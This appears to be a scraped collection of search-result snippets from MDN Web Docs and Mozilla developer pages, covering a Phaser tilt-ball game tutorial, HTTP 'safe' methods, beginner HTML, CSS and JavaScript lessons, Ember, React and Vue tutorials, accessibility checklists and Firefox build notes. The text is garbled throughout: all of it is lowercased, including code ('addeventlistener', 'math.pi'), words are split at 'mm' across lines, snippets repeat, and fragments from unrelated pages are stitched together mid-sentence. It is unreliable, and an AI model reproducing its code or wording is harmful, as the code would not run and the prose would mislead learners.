...e game by tilting the device in the direction you want the ball to roll. here’s the code from the create() function responsible for this: window.addeventlistener("deviceorientation", this.handleorientation, true); we’re adding an event listener to the "deviceorientation" event and binding the handleorientation function which looks like this: handleorientation: function(e) { var x = e.ga
mma; var y = e.beta; ball._player.body.velocity.x += x; ball._player.body.velocity.y += y; }, the more you tilt the device, the more force is applied to the ball, therefore the faster it moves (the velocity is higher). note: to find more out about implementing device orientation and what raw code would look like, read keep it level: responding to device orientation changes. adding...
...then the arcade body type is set for that group to enable physics calculations. the newlevel.create method creates new items in the group with starting left and top positions, and its own image. if you don't want to loop through the list of items again to add ...
...seconds or give the ball special powers to go through obstacles. there’s also room for the traps which will slow the ball down or make it more difficult to reach the hole. you can create more levels of increasing difficulty. you can even implement achievements, leaderboards and medals for different actions in the game. there are endless possibilities — they only depend on your imagination. su
mmary i hope this tutorial will help you dive into 2d game development and inspire you to create awesome games on your own. you can play the demo game cyber orb and check out its source code on github. html5 gives us raw tools, the frameworks built on top of it are getting faster and better, so now is a great time get into web game development. in this tutorial we used phaser, but there are a numb...
Class - MDN Web Docs Glossary: Definitions of Web-related terms
in object-oriented progra
mming, a class defines an object's characteristics. class is a template definition of an object's properties and methods, the "blueprint" from which other more specific instances of the object are drawn. learn more general knowledge class-based vs. ...
... in object-oriented progra
mming, a class defines an object's characteristics. class is a template definition of an object's properties and methods, the "blueprint" from which other more specific instances of the object are drawn. learn more general knowledge class-based vs. ...
... in object-oriented progra
mming, a class defines an object's characteristics. class is a template definition of an object's properties and methods, the "blueprint" from which other more specific instances of the object are drawn. learn more general knowledge class-based vs. ...
...s defines an object's characteristics. ...
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
all safe methods are also idempotent, but not all idempotent methods are safe. for example, put and delete are both idempotent but unsafe. even if safe methods have a read-only semantic, servers can alter their state: e.g. they can log or keep statistics. ...
...earing to cause any harm to the server; this allows them to perform activities like pre-fetching without risk. web crawlers also rely on calling safe methods. safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating script guarantees safety: it should not trigger external effects, like triggering an order in an e-co
mmerce web site. it is the responsibility of the application on the server to implement the safe semantic correctly, the webserver itself, being apache, nginx or iis, can't enforce it by itself. in particular, an application should not allow get requests to alter its state. a call to a safe method, not changing the state for the server: get /pagex.html http/1.1 a call to a non-safe method, that...
... its state. ...
...tate for the server: get /pagex.html http/1.1 a call to a non-safe method, that may change the state of the server: post /pagex.html http/1.1 a call to an idempotent but non-safe method: delete /idx/delete http/1.1 learn more general knowledge definition of safe in the http specification. technical knowledge description of co
mmon safe methods: get, head, options description of co
mmon unsafe methods: put, delete, post ...
Your first form - Learn web development
for, how to think about designing them, and the basic html elements you'll need for simple cases. what are web forms? web forms are one of the main points of interaction between a user and a web site or application. forms allow users to enter data, which is generally sent to a web server for processing and storage (see sending form data later in the module), or used on the client-side to i
mmediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature). a web form's html is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms. the controls can be single or multi-line text fields, dropdown boxes, buttons, checkbox...
... controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms. the controls can be single or multi-line text fields, dropdown boxes, buttons, checkboxes, or radio buttons, and are mostly created using the <input> element, although there are some other elements to learn about too. form controls can also be progra
mmed to enforce specific formats or values to be entered (form validation), and paired with text labels that describe their purpose to both sighted and blind users. designing your form before starting to code, it's always better to step back and take the time to think about your form. designing a quick mockup will help you to define the right set of data you want to ask your user to enter. from a ...
...on"> <button type="submit">send your message</button> </li> the <button> element also accepts a type attribute — this accepts one of three values: submit, reset, or button. a click on a submit button (the default value) sends the form's data to the web page defined by the action attribute of the <form> element. a click on a reset button resets all the form widgets to their default value i
mmediately. from a ux point of view, this is considered bad practice, so you should avoid using this type of button unless you really have a good reason to include one. a click on a button button does... nothing! that sounds silly, but it's amazingly useful for building custom buttons — you can define their chosen functionality with javascript. note: you can also use the <input> element with t...
...as a list of 3 key/value items contained in the http request. the way this script will handle that data is up to you. each server-side language (php, python, ruby, java, c#, etc.) has its own mechanism of handling form data. it's beyond the scope of this guide to go deeply into that subject, but if you want to know more, we have provided some examples in our sending form data article later on. su
mmary congratulations, you've built your first web form. it looks like this live: that's only the beginning, however — now it's time to take a deeper look. forms have way more power than what we saw here and the other articles in this module will help you to master the rest. overview: forms next in this module your first form how to structure a web form basic native form controls...
CSS basics - Learn web development
getting started with the web next css (cascading style sheets) is the code that styles web content. css basics walks through what you need to get started. we'll answer questions like: how do i make text red? how do i make content display at a certain location in the (webpage) layout? how do i decorate my webpage with background images and colors? what is css? like html, css is not a progra
mming language. it's not a markup language either. css is a style sheet language. css is what you use to selectively style html elements. for example, this css selects paragraph text, setting the color to red: p { color: red; } let's try it out! using a text editor, paste the three lines of css (above) into a new file. save the file as style.css in a directory named styles. to make the code wor...
... each ruleset, you must use a semicolon (;) to separate each declaration from the next one. to modify multiple property values in one ruleset, write them separated by semicolons, like this: p { color: red; width: 500px; border: 1px solid black; } selecting multiple elements you can also select multiple elements and apply a single ruleset to all of them. ...
... p selects <p> id selector the element on the page with the specified id. ...
...e whole page. since <html> is the parent element of the whole page, all elements inside it inherit the same font-size and font-family. html { font-size: 10px; /* px means "pixels": the base font size is now 10 pixels high */ font-family: "open sans", sans-serif; /* this should be the rest of the output you got from google fonts */ } note: anything in css between /* and */ is a css co
mment. the browser ignores co
mments as it renders the code. css co
mments are a way for you to write helpful notes about your code or logic. now let's set font sizes for elements that will have text inside the html body (<h1>, <li>, and <p>). we'll also center the heading. finally, let's expand the second ruleset (below) with settings for line height and letter spacing to make body content more...
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page. ...
...ied function when the promise resolves" (.then(function() { ... })). "resolve" means "finish performing the specified operation at some point in the future". the specified operation, in this case, is to fetch a resource from a specified url (using an http request), and return the response for us to do something with. effectively, the function passed into then() is a chunk of code that won't run i
mmediately. instead, it will run at some point in the future when the response has been returned. note that you could also choose to store your promise in a variable and chain .then() onto that instead. the code below would do the same thing: let myfetch = fetch(url); myfetch.then(function(response) { response.text().then(function(text) { poemdisplay.textcontent = text; }); }); because th...
...ault, the site displays all the products, but you can use the form controls in the left hand column to filter them by category, or search term, or both. there is quite a lot of complex code that deals with filtering the products by category and search terms, manipulating strings so the data displays correctly in the ui, etc. we won't discuss all of it in the article, but you can find extensive co
mments in the code (see can-script.js). we will however explain the fetch code. the first block that uses fetch can be found at the start of the javascript: fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { let products = json; initialize(products); }).catch(function(err) { console.log('fetch problem: ' + err.message); }); the fetch() funct...
...ck whether request.status is equal to 200, or if request.readystate is equal to 4. the properties for getting the status and status message are the same, but they are found on the request (xhr) object, not the response object. note: if you have trouble with this, feel free to check your code against the finished version on github (see the source here, and also see it running live). su
mmary this article shows how to start working with both xhr and fetch to fetch data from the server. ...
Handling text — strings in JavaScript - Learn web development
previous overview: first steps next next, we'll turn our attention to strings — this is what pieces of text are called in progra
mming. in this article, we'll look at all the co
mmon things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain familiarity with the basics of strings in javascript. ...
...uch as creating strings, escaping quotes in strings, and joining strings together. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain familiarity with the basics of strings in javascript. the power of words words are very important to humans — they are a large part of how we co
mmunicate. since the web is a largely text-based medium designed to allow humans to co
mmunicate and share information, it is useful for us to have control over the words that appear on it. html provides structure and meaning to our text, css allows us to precisely style it, and javascript contains a number of features for manipulating strings, creating custom welcome messages and prompts, showing th...
...ed as text, not part of the code. in javascript, we do this by putting a backslash just before the character. try this: let bigmouth = 'i\'ve got no right to take my place...'; bigmouth; this works fine. you can escape other characters in the same way, e.g. \", and there are some special codes besides. see escape notation for more details. concatenating strings concatenate is a fancy progra
mming word that means "join together". joining together strings in javascript uses the plus (+) operator, the same one we use to add numbers together, but in this context it does something different. let's try an example in our console. let one = 'hello, '; let two = 'how are you?'; let joined = one + two; joined; the result of this is a variable called joined, which contains the value "hello, h...
...ou need to include a newline character, \n: output = 'i like the song "' + song + '".\ni gave it a score of ' + (score/highestscore * 100) + '%.'; template literals respect the line breaks in the source code, so newline characters are no longer needed. this would achieve the same result: output = `i like the song "${ song }". i gave it a score of ${ score/highestscore * 100 }%.`; we would reco
mmend that you get used to using template literals as soon as possible. they are well-supported in modern browsers, and the only place you'll find a lack of support is internet explorer. many of our examples still use standard string literals, but we will include more template literals going forward. see our template literals reference page for more examples and details of advanced features. test ...
Object building practice - Learn web development
) method to the ball()'s prototype: ball.prototype.draw = function() { ctx.beginpath(); ctx.fillstyle = this.color; ctx.arc(this.x, this.y, this.size, 0, 2 * math.pi); ctx.fill(); } using this function, we can tell the ball to draw itself onto the screen, by calling a series of members of the 2d canvas context we defined earlier (ctx). the context is like the paper, and now we want to co
mmand our pen to draw something on it: first, we use beginpath() to state that we want to draw a shape on the paper. next, we use fillstyle to define what color we want the shape to be — we set it to our ball's color property. next, we use the arc() method to trace an arc shape on the paper. its parameters are: the x and y position of the arc's center — we are specifying the ball's x ...
...+ ',' + random(0, 255) + ',' + random(0, 255) +')'; } } } } this method is a little complex, so don't worry if you don't understand exactly how it works for now. an explanation follows: for each ball, we need to check every other ball to see if it has collided with the current ball. to do this, we start another for loop to loop through all the balls in the balls[] array. i
mmediately inside the for loop, we use an if statement to check whether the current ball being looped through is the same ball as the one we are currently checking. we don't want to check whether a ball has collided with itself! to do this, we check whether the current ball (i.e., the ball whose collisiondetect method is being invoked) is the same as the loop ball (i.e., the ball that is being refer...
...ed with itself! to do this, we check whether the current ball (i.e., the ball whose collisiondetect method is being invoked) is the same as the loop ball (i.e., the ball that is being referred to by the current iteration of the for loop in the collisiondetect method). we then use ! to negate the check, so that the code inside the if statement only runs if they are not the same. we then use a co
mmon algorithm to check the collision of two circles. we are basically checking whether any of the two circle's areas overlap. this is explained further in 2d collision detection. if a collision is detected, the code inside the inner if statement is run. in this case we only set the color property of both the circles to a new random color. we could have done something far more complex, like get t...
... you also need to call this method in each frame of the animation. add the following below the balls[i].update(); line: balls[i].collisiondetect(); save and refresh the demo again, and you'll see your balls change color when they collide! note: if you have trouble getting this example to work, try comparing your javascript code against our finished version (also see it running live). su
mmary we hope you had fun writing your own real world random bouncing balls example, using various object and object-oriented techniques from throughout the module! this should have given you some useful practice in using objects, and good real world context. that's it for object articles — all that remains now is for you to test your skills in the object assessment. ...
JavaScript — Dynamic client-side scripting - Learn web development
every time a web page does more than just sit there and display static information for you to look at—displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, or more—you can bet that javascript is probably involved. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites javascript is arguably more difficult to learn than related technologies such as html and css. ...
...guably more difficult to learn than related technologies such as html and css. before attempting to learn javascript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. start by working through the following modules: getting started with the web introduction to html introduction to css having previous experience with other progra
mming languages might also help. after getting familiar with the basics of javascript, you should be in a position to learn about more advanced topics, for example: javascript in depth, as taught in our javascript guide web apis modules this topic contains the following modules, in a suggested order for working through them. javascript first steps in our first javascript module, we first...
..., "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript. after that, we discuss some key javascript features in detail, such as variables, strings, numbers and arrays. javascript building blocks in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to co
mmonly-encountered types of code block such as conditional statements, loops, functions, and events. you've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly. introducing javascript objects in javascript, most things are objects, from core javascript features like strings and arrays to the browser apis built on top of javascript. you can even creat...
...rces from a server. client-side web apis when writing client-side javascript for web sites or applications, you won't go very far before you start to use apis — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. in this module we will explore what apis are, and how to use some of the most co
mmon apis you'll come across often in your development work. solving co
mmon javascript problems use javascript to solve co
mmon problems provides links to sections of content explaining how to use javascript to solve very co
mmon problems when creating a webpage. ...
Routing in Ember - Learn web development
previous overview: client-side javascript frameworks next in this article we learn about routing, or url-based filtering as it is sometimes referred to. we'll use it to provide a unique url for each of the three todo views — "all", "active", and "completed". prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn about implementing routing in ember. url-based filtering ember comes with a routing system that has a tight integration with the browser ur...
..." todos. an ember application has a default "application" route, which is tied to the app/templates/application.hbs template. because that application template is the entry point to our todo app, we'll need to make some changes to allow for routing. creating the routes let's start by creating three new routes: "index", "active" and "completed". to do this you’ll need to enter the following co
mmands into your terminal, inside the root directory of your app: ember generate route index ember generate route completed ember generate route active the second and third co
mmands should have not only generated new files, but also updated an existing file, app/router.js. it contains the following contents: import emberrouter from '@ember/routing/router'; import config from './config/environment...
...le, app/router.js. it contains the following contents: import emberrouter from '@ember/routing/router'; import config from './config/environment'; export default class router extends emberrouter { location = config.locationtype; rooturl = config.rooturl; } router.map(function() { this.route('completed'); this.route('active'); }); the highlighted lines were added when the 2nd and 3rd co
mmands above were run. router.js behaves as a "sitemap" for developers to be able to quickly see how the entire app is structured. it also tells ember how to interact with your route, such as when loading arbitrary data, handling errors while loading that data, or interpreting dynamic segments of the url. since our data is static, we won't get to any of those fancy features, but we'll still make s...
...s.all as |todo| }} since we now want to have our todolist component show a filtered list, we'll want to pass an argument to the todolist component representing the "current list of todos", as shown here: {{#each @todos as |todo| }} and that's it for this tutorial! your app should now have fully working links in the footer that display the "index"/default, "active", and "completed" routes. su
mmary congratulations! you've finished this tutorial! there is a lot more to be implemented before what we've covered here has parity with the original todomvc app, such as editing, deleting, and persisting todos across page reloads. to see our finished ember implementation, checkout the finished app folder in the repository for the code of this tutorial or see the live deployed version here. stu...
React resources - Learn web development
objective: to provide further resources for learning more about react. ...
...r message that react gives you both in the cli and your browser's javascript console. but there's more we can do here. the react devtools utility allows you to inspect the internals of your react application directly in the browser. it adds a new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make i
mmediate changes to your application. this screenshot shows our finished application as it appears in react devtools: on the left, we see all of the components that make up our application, including some unique keys for the things that are rendered from arrays. on the right, we see the props and hooks that our app component utilizes. notice, too, that the form, filterbutton, and todo components...
...react context. class components although this tutorial doesn’t mention them, it is possible to build react components using es6 classes – these are called class components. until the arrival of hooks, es6 classes were the only way to bring state into components or manage rendering side effects. they're still the only way to handle certain other, more edge-case features, and they’re very co
mmon in legacy react projects. the official react docs are a great place to start learning about them. state and lifecycle in the react docs intro to react in the react docs read about javascript classes at mdn testing create-react-app provides some tools for testing your application out of the box — you may have deleted the relevant files earlier in the tutorial. the documentation for cre...
... for testing. routing while routing is traditionally handled by a server and not an application on the user's computer, it is possible to configure a web application to read and update the browser's location, and render certain user interfaces. this is called client-side routing. it's possible to create many unique routes for your application (such as /home, /dashboard, or login/). the react co
mmunity has produced two major libraries for client-side routing: react router and reach router. react router is well-suited to applications with complex routing needs, and it meets some edge cases better than reach router. react router is a larger library, however. reach router is well-suited to simpler applications, and automatically manages focus as the user navigates from page to page. foc...
Styling Vue components with CSS - Learn web development
previous overview: client-side javascript frameworks next the time has finally come to make our app look a bit nicer. in this article we'll explore the different ways of styling vue components with css. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about styling vue components. styling vue components with css ...
...tallation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about styling vue components. styling vue components with css before we move on to add more advanced features to our app, we should add some basic css to make it look better. vue has three co
mmon approaches to styling apps: external css files. global styles in single file components (.vue files). component-scoped styles in single file components. to help familiarize you with each one, we'll use a combination of all three to give our app a nicer look and feel. styling with external css files you can include external css files and apply them globally to your app. let's look at ho...
... name="new-todo" autocomplete="off" v-model.lazy.trim="label" class="input__lg" /> <button type="submit" class="btn btn__primary btn__lg"> add </button> </form> </template> let's also add the stack-large class to the <ul> tag in our app.vue file. this will help improve the spacing of our to-do items a bit. update it as follows: <ul aria-labelledby="list-su
mmary" class="stack-large"> adding scoped styles the last component we want to style is our todoitem component. to keep the style definitions close to the component we can add a <style> element inside it. however, if these styles alter things outside of this component, it could be challenging to track down the styles responsible, and fix the problem. this is where the scoped attribute can be usefu...
...e: 1.9rem; line-height: 1.31579; } } now we need to add some css classes to our template to connect the styles. to the root <div>, add a custom-checkbox class. to the <input>, add a checkbox class. last of all, to the <label> add a checkbox-label class. the updated template is below: the app should now have custom checkboxes. your app should look something like the screenshot below. su
mmary our work is done on the styling of our sample app. in the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app. previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started wit...
Accessible Toolkit Checklist
the work when implementing a new toolkit it's important to: implement standard keyboard behavior, which can vary from platform to platform. expose your ui - a way for assistive technologies such as screen readers, screen magnifiers and voice dictation software to understand your software. provide theme compatibility with the operating system, at least as an option. some low vision users will be running your software with high contrast or large font themes. go beyond section 508. implement true usability for everyone, and make your toolkit follow the guidelines for each platform. ...
...which each provide different challenges when implementing accessibility: native widget toolkits , like eclipse and wxwidgets, already have some accessibility built-in. these toolkits wrap the widgets implemented by the os with a consistent api for each platform. since the individual widgets predominately come from the operating system, they already implement standard keyboard co
mmands and follow the operating system's visual theme. also, assistive technologies already understand native widgets so it is only necessary to implement microsoft active accessibility (msaa) api support for custom controls. however, be aware that the wrapping layer will introduce accessibility bugs, and thus you will need to test extensively and fill in the holes. you will also need to provide a w...
...kits don't use a separate window for each control; in that case remember to generate a unique 32 bit child id for each control so that the msaa event system can call back for the right iaccessible for each event. the checklist this checklist is currently only for microsoft windows, but should be expanded to include information about linux and os x. it is maintained by the mozilla accessibility co
mmunity. contributions are welcome. general dialogs/windows/general escape key cancels dialogs and refocuses the previously focused on the parent window. alt+f4 closes windows, similar to escape but even works on dialogs without cancel button alt+space opens window menu with restore, move, size, minimize, maximize, close the move and size options must be usable with t...
...y get_accdefaultaction. ...
Accessibility and Mozilla
fox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5. we are optimistic that jaws support will catch up this year. in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard co
mmands are still available, so users can become comfortable and productive right away.accessibility information for core gecko developersboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.accessibility information for ui des...
...guide lays out general guidelines that assistive technology (at) developers can use in developing live region support. this guide was written from an atk/at-spi point of view as part of the orca live region support project. however, many of the concepts were also used during the development of firevox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility co
mmunity with questions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web. in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience ...
...are enough about their web browsing experience to download a new piece of software. websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage.embedding api for accessibilityevent process procedurethis diagram outlines how events are processed within gecko. gecko info for windows accessibility vendorsplease contact the mozilla accessibility co
mmunity.information for assistive technology vendorsboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.information for external developers dealing with accessibilityboth end users and developers are invited for discussion on...
...hich describe any special features and keyboard shortcuts designed to help users with disabilities. please check the accessibility help topic for more information.links and resourceshere are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility co
mmunity. feedback and constructive suggestions are encouraged.mozilla plugin accessibilityplugins in gecko-based browsers have a lot of accessibility issues. here is a rundown of problems and the planned solutions:mozilla's section 508 compliancemozilla’s uaag evaluation reportthe uaag document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be im...
Android-specific test suites
all of these suites require a functioning build of firefox for android — either a full build or an artifact build. ...
... all of these suites require a functioning build of firefox for android — either a full build or an artifact build. ...
...this job is equivalent to the eslint jobs that check the javascript coding style throughout the tree. however, the existing configuration can be tweaked and the set of files checked can be modified. contact information android-checkstyle is currently owned by :mcomella and :nalexander. file tickets in the firefox for android product in bugzilla. android-findbugs ensures that the code avoids co
mmon java coding errors. using this suite will allow the code to be analyzed to spot any design flaws or potential bugs. if an issue is found within the code, a warning will be identified and put into the correct category that the suite controls — this could be malicious, correctness, or just bad practice. see http://findbugs.sourceforge.net/index.html and https://docs.gradle.org/2.14/userguide/...
...ling test in general, it's not sensible to allow new java code to land that findbugs detects issues with. however, the existing configuration can be tweaked and the set of files checked can be modified. contact information android-checkstyle is currently owned by :mcomella and :nalexander. file tickets in the firefox for android product in bugzilla. android-lint ensure that the code avoids co
mmon android coding errors. lint is a code scanning tool that identifies problems in the code regarding quality. it is a fast process that can be run on unexecuted code, and test cases are not needed for the process to be completed. lint is a simple test that can assure you have a quality code. see https://developer.android.com/studio/write/lint.html and http://tools.android.com/tips/lint for more...
Debugging JavaScript
ogging in the browser, including from firefox code. to enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings. activate it through with the menu tools > web developer > browser console. you can also start the browser console when you launch firefox, by launching firefox from the co
mmand line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is no longer enabled in firefox by default. use the web console or the browser cons...
...ugging. (note that before firefox 28, only the script debugger was available.) the use of these tools are the same as the built-in tools. strict code checking if you set the pref javascript.options.strict to true, the javascript engine gives you more types of warnings on the error console, most of which hint at code bugs that are easy to oversee or even bad syntax. (the pref also warns on co
mmon javascript idioms that are not errors). console.log in browser console you can dump variables in the browser console from addon code, by adding this line to import the console utility: const { console } = components.utils.import("resource://gre/modules/devtools/console.jsm", {}); this has an advantage over dump in that you can list out properties of an object logged with console.log. dump(...
...properties of an object logged with console.log. dump() the dump() function allows you to print text on the native console. use \n to output a newline at the end. to see anything, you need to set the pref browser.dom.window.dump.enabled to true, e.g. in about:config (add new pref, it doesn't exist per default). under microsoft windows you additionally need to start firefox via the following co
mmand to have a native console : firefox.exe -console using normal javascript object inspection, you can write a function that dumps a whole object, similar to this ddumpobject(). log.jsm (formerly log4moz) this is a partial implementation of the log4* interfaces (for example, see log4j or log4net). components.utils.import("resource://gre/modules/log.jsm"); "debugger" keyword you can halt ve...
... ...
Makefile - variables
exports a list of exported header files and sources to install for external use. exports_namespaces exported package include directory: dist/include/${namespace} exports_${namespace} a list of exports/headers that should be copied into the exported namespace directory. extra_components nsdefaultclh.manifest, javascript xpco
mm files extra_dso_libs extra_dso_ldopts extra_js_modules extra_pp_components xpco
mm files to pre-process before installation. garbage a "clean target" macro containing a list of files to remove. garbage_dirs a "clean target" macro containing a list of directories...
... libobjs have_dtrace sun microsystem's dynamic tracing environment is available. ...
... building current. xpidl_module module name to use when generating .xpt files, default to module. xpidlsrcs internal: a list of .idl files to generate exported headers from. xpidl_name name of extension to build see also configure.sh variables description build_project_arg co
mmand line/environment override configure_env_args co
mmand line/environment override directory variable dirs a list of subdirectories to build recursively. parallel_dirs a list of subdirectories to build recursively that may be built concurrently. static_dirs subdirectories c...
...ariable when present. os_ variable description os_arch platform type os_target target binary type if building on an intermediate platform(building mobile binaries on gnu/linux). host_ variable description host_cmsrcs a list of .m sources to compile host_c
mmsrcs a list of .
mm sources to compile host_objs host_os_arch arch of real platform a target platform is being built on(building mobile binaries on gnu/linux). distribution/release variables variable description dist top level distribution directory for install/packaging/repacking. ...
Updating NSPR or NSS in mozilla-central
exports of hg tags. do not check in individual changes. if you check in an individual change by mistake, your change will be lost when the nspr and nss teams push a new hg tag to mozilla-central. ...
...s of hg tags. do not check in individual changes. if you check in an individual change by mistake, your change will be lost when the nspr and nss teams push a new hg tag to mozilla-central. ...
...apply the patches. if merging is required, update the patch file. if...
...s is for builds with --with-system-nss. for example, in the following, "3.16.1" would be replaced with the new nss version. moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 ) if test -n "$_use_system_nss"; then am_path_nss(3.16.1, [moz_native_nss=1], [ac_msg_error([you don't have nss installed or your version is too old])]) fi co
mmit the update: $ hg co
mmit -a in order to eliminate any problems related to how nss and nspr are built differently in firefox than they are standalone, you should push your co
mmit to try first. if your update fails linking because of missing nss or nspr symbols, add the missing symbols to config/external/nss/nspr-du
mmy.def or config/external/nss/nss.def, whichever is relevant. in your com...
Obsolete Build Caveats and Tips
k with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs. in reality, you should probably not need to do this, since that code is very obsolete. this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the co
mmand line when building on windows. if you're using visual studio, go to project properties > c/c++ > language > treat wchar_t as built-in type and set it to "yes". from source_code/mercurial mozilla-2.0 (firefox 4.0) code for the firefox 4.0 (gecko 2.0) release lives in releases/mozilla-2.0. to get this code, do the following: # pull the mozilla source to the folder 20src/ - may take a whil...
...lled, uninstall it. the sdk will break builds even if you try to use other sdks. other possible workarounds: use another sdk (the one shipped with visual studio 9). delete the vcvars32.bat file and repair your visual studio installation with the setup program. edit vcvars32.bat to correct the problem (see http://blogs.msdn.com/windowssdk/arc...vironment.aspx "workaround: repair the vs2008 co
mmand line build environment by editing c:\program files\microsoft visual studio 9.0\vc\bin\vcvars32.bat manually"). sdks older than the server 2003 r2 platform sdk aren't supported either. from windows build prerequisites [en-us] microsoft visual c++ (msvc) depending on what you're building, you will need to use one of several available versions of microsoft visual c++ (msvc) and/or micros...
... visual c++ 10 is available from microsoft as part of the free visual c++ 2010 express edition. visual c++ 9 is available from microsoft as part of the free visual c++ 2008 express edition with sp1 (make sure you get this and not the one without sp1!). you do not need to install the silverlight runtime or the sql server 2008 express edition when offered. alternatively you can install the co
mmand-line compiler as part of the windows 7 sdk, but you are then expected to use the included windbg debugger. the visual c++ 8 co
mmand-line compiler is included with the vista sdk, but you are then expected to use the included windbg debugger. from configuring build options [en-us] note: starting with gecko 5.0, building firefox has become extremely simple. the default application is now f...
...ct the mozilla application that you want to build (see below), and you will probably also need to set at least some of the other basic configuration options (such as whether to build a debug build or not) to get the type of build that you need. if you are building from an older project branch that still uses cvs, you will need to set moz_co_project to the appropriate value or values, using a co
mma-separated list, such as "mk_add_options moz_co_project=browser,mail,calendar,suite,xulrunner". this setting is ignored by most mozilla project branches, which now use mercurial instead of cvs for source control. note: starting in gecko 2.0, objdir builds are enabled by default. if you do not specify a moz_objdir it will be automatically set to @topsrcdir@/obj-@config_guess@ alternatively,...
Experimental features in Firefox
worker contexts. see bug 1390089 for more details. release channel version added enabled by default? nightly 44 no developer edition 44 no beta 44 no release 44 no preference name gfx.offscreencanvas.enabled hit regions whether the mouse coordinates are within a particular area on the canvas is a co
mmon problem to solve. the hit region api allows you define an area of your canvas and provides another possibility to expose interactive content on a canvas to accessibility tools. release channel version added enabled by default? nightly 30 no developer edition 30 no beta 30 no release 30 no preference name ...
... release channel version added enabled by default? nightly 74 no developer edition 74 no beta 74 no release 74 no preference name dom.input_events.beforeinput.enabled htmlmediaelement method: setsinkid() htmlmediaelement.setsinkid() allows you to set the s...
...o beta 64 no release 64 no preference name media.setsinkid.enabled htmlmediaelement properties: audiotracks and videotracks enabling this feature adds the htmlmediaelement.audiotracks and htmlmediaelement.videotracks properties to all html media elements. however, because firefox doesn't currently suport multiple audio and video tracks, the most co
mmon use cases for these properties don't work, so they're both disabled by default. see bug 1057233 for more details. release channel version added enabled by default? nightly 33 no developer edition 33 no beta 33 no release 33 no preference name media.track.enabled dom document property: autoplaypol...
... 1550804 and bug 1137699 for more details. release channel version added enabled by default? nightly 72 no developer edition 72 no beta 72 no release 72 no preference name devtools.inspector.color-scheme-simulation.enabled execution context selector this feature displays a button on the console's co
mmand line that lets you change the context in which the expression you enter will be executed. see bug 1605154 and bug 1605153 for more details. release channel version added enabled by default? nightly 75 no developer edition 75 no beta 75 no release 75 no preference name devtools.webconsole.input.context ...
mozbrowsercaretstatechanged
: the width of the bounding rectangle, in css pixels. height: the height of the bounding rectangle, in css pixels. top: the top position of the bounding rectangle, in css pixels. bottom: the bottom position of the bounding rectangle, in css pixels. left: the left position of the bounding rectangle, in css pixels. right: the right position of the bounding rectangle, in css pixels. ...
... in css pixels. height: the height of the bounding rectangle, in css pixels. top: the top position of the bounding rectangle, in css pixels. bottom: the bottom position of the bounding rectangle, in css pixels. left: the left position of the bounding rectangle, in css pixels. right: the right position of the bounding rectangle, in css pixels. ...
...els. bottom: the bottom position of the bounding rectangle, in css pixels. left: the left position of the bounding rectangle, in css pixels. right: the right position of the bounding rectangle, in css pixels. co
mmands an object that defines what co
mmands can currently be executed in the browser <iframe>. its properties are canselectall: a boolean indicating whether the selectall co
mmand is available (true) or not (false.) cancut: a boolean indicating whether the cut co
